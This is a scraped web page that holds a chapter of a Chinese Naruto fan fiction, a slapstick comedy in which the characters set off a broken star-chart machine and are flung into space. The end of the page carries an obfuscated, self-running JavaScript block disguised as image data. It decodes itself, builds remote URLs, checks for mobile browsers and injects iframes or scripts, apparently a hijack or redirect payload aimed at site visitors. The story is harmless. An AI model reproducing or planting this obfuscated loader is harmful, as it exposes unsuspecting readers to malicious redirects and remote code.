第二十二章 星轨预兆
新笔趣阁(52xbq.com)更新快，无弹窗！
佐助的草薙剑突然不受控地飞向天空，剑柄弹出全息广告：“宇智波独家秘制生发膏！让写轮眼重获浓密光彩！“正在此时，日向家的屋顶升起蘑菇云——宁次试图用回天清除头皮屑，结果把宗家祠堂改造成了滚筒洗衣机。
“初代目...“漩涡铭望着在手札残页上跳机械舞的柱间虚影，“您真是死了都不忘坑后人啊...“
虚影突然抛了个wink，用马桶搋子在岩壁上刻下新谜题：“真正的宝藏需要三个笨蛋用屁声解锁！“随着一阵放屁音效的BGM，火影岩的鼻孔里喷出彩虹瀑布，把正在维修管道的自来也冲进了女汤池。九尾的笑声和纲手的咆哮响彻云霄，新的闹剧才刚刚开始。
漩涡铭的鸡冠头正在接收宇宙广播，每根发丝都在播放外星天气预报。他蹲在火影岩的鼻孔里调试机械护额，鸣人用液压油在岩壁上绘制星座图——结果把初代火影画成了穿比基尼的八爪鱼，触手上还缠着“木叶水产大促销“的横幅。
“这里应该接伽马射线接收器...“漩涡铭的液压手指刚碰到护额，整个鸡冠头突然变成雷达锅，把路过的飞鸟吸成奥尔良烤鸡。佐助的草薙剑不受控地飞向天空，剑柄弹出全息广告：“宇智波牌天文望远镜，让写轮眼看清仙女座的青春痘！“
实验室的天花板突然裂开，月光凝成光柱笼罩众人。漩涡铭的机械护额自动解体，零件在空中组成星象仪，每颗齿轮都映出雪之国的极光。鸣人刚咬了口饭团，牙齿就被冻在机械轴承上：“这是冰箱成精了？我的智齿在跳踢踏舞啊！“
“白痴！这是零下200度的星轨冷凝器！“佐助的千鸟劈向星象仪，雷光却被折射成彩虹，把他的刺猬头染成杀马特七彩。小樱的怪力拳砸在地面，震波让星象仪跳起踢踏舞，投影出的星座图变成初代火影跳草裙舞的动画，配乐是放屁音效改编的圆舞曲。
九尾在封印空间笑到打鸣：「柱间这老不修！死了都要用星轨传播黑历史！」蒸汽巨神兵的虚影正在模仿星座摆pose，机械关节发出放屁似的漏气声，把鸣人刚解冻的智齿吹成了人体风筝。
漩涡铭的鸡冠头突然变形为信号塔，接收到雪之国的加密讯息：“滋滋...机械温泉...滋滋...三吨红豆糕换星舰图纸...“他刚想解码，鸣人就往他头上浇了桶拉面汤，天线顿时播放起章鱼烧广告：“现在致电订购，附赠宇智波牌增高鞋垫！“
“警告！星座偏移！“实验室的机械蟑螂集体倒立，用腿毛在墙上拼出摩斯密码：“救命！我们被外星购物频道洗脑了！“犬冢牙抱着赤丸冲进来，秋田犬的项圈正在发射激光：“赤丸的尿结石变成卫星了！正在同步播放《忍界好声音》！“
卡卡西的《亲热战略》自动翻页，书页组成火箭模型撞向星象仪。爆炸的气浪把众人掀飞到温泉池，正好砸中正在偷窥的自来也。星象仪碎片在水面组成新星座——纲手输钱时的哭脸被投射到云层上，整个木叶村下起钢镚雨，每枚硬币都印着“赌场VIP入场券“。
漩涡铭从池底捞出个生锈的八音盒，拧动发条的刹那，整片星空开始旋转。北斗七星的勺柄突然伸长，把鸣人当成汤圆舀起来甩向月亮。佐助的草薙剑自动导航，载着他追向鸣人，剑柄不断播放广告：“宇智波航空，头等舱赠送增高鞋垫！全程欣赏宇智波鼬的须佐能乎时装秀！“
温泉池突然沸腾，日向宁次从水底浮上来，白眼变成了天文望远镜：“我的视野...看到了奇怪的东西...“他指着月亮上的黑点，“那是...穿着宇航服的秋道丁次？“
此刻的丁次正在月球环形山烤肉，他的宇航服被改造成了移动烧烤架。当星轨能量扫过时，烤架突然长出机械腿，载着他跳起探戈：“为什么连宇宙都不放过我的五花肉！“
“快关闭星轨连接！“小樱的拳头轰碎温泉假山，碎石在空中拼出终止密码。漩涡铭的鸡冠头突然喷射发胶，黏液把星座图固定成纹身贴，恰好印在纲手新买的和服上。九尾的查克拉顺着星轨倒流，把月亮暂时染成了番茄色，正在泡澡的蛤蟆仙人被染成粉红呱太。
当众人跌回地面时，赤丸的尿结石卫星正在播放雪之国广告：“机械温泉七折优惠！治愈您的金属脱发！附赠大筒木辉夜同款离子烫！“漩涡铭的护额突然弹出个星舰模型，马桶造型的推进器正在喷彩虹屁，驾驶舱里塞满了宇智波家的增高鞋垫。
“这玩意...“鸣人戳了戳舰桥位置的章鱼烧机，“能飞到我爱罗的葫芦里吗？我想试试守鹤牌砂锅！“
佐助的写轮眼突然淌血，他看见星轨尽头站着大筒木辉夜的虚影——正在用轮回写轮眼打电动，手柄线缠着十尾当充电宝。小樱的连衣裙被星轨能量改造成宇航服，裙摆喷着蒸汽在温泉上冲浪，撞翻了日向家的屏风，露出正在跳广场舞的宗家长老团。
机械蟑螂们举起荧光棒，在岸边拼出“宇宙旅行团报名处“。报名表上印着漩涡铭的鸡冠头造型，备注栏写着：“附赠初代火影同款放屁推进器“。油女志乃的虫子组成应援字幕：“志乃星际快递，死包裹也必达！“
漩涡铭的鸡冠头开始倒计时：“星际跳跃准备！请乘客系好假发！三、二、一...“纲手的怒吼从火影楼传来时，众人已被传送到平流层。九尾的查克拉包裹着星舰，在臭氧层烧出个放屁形状的窟窿，正在巡逻的暗部被喷了满脸尾气。
“本舰提供三种降落方式！“马桶推进器弹出全息菜单：A.屁力推进（可能引发大气层燃烧）B.眼泪制动（需佐助提供哭戏）C.用鸣人的泡面导航（误差率250%）。没等众人选择，星舰突然被吸进黑洞——其实是赤丸的尿结石卫星张开嘴，把大家吐回了火影岩，正好掉进日向家的年糕作坊。
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();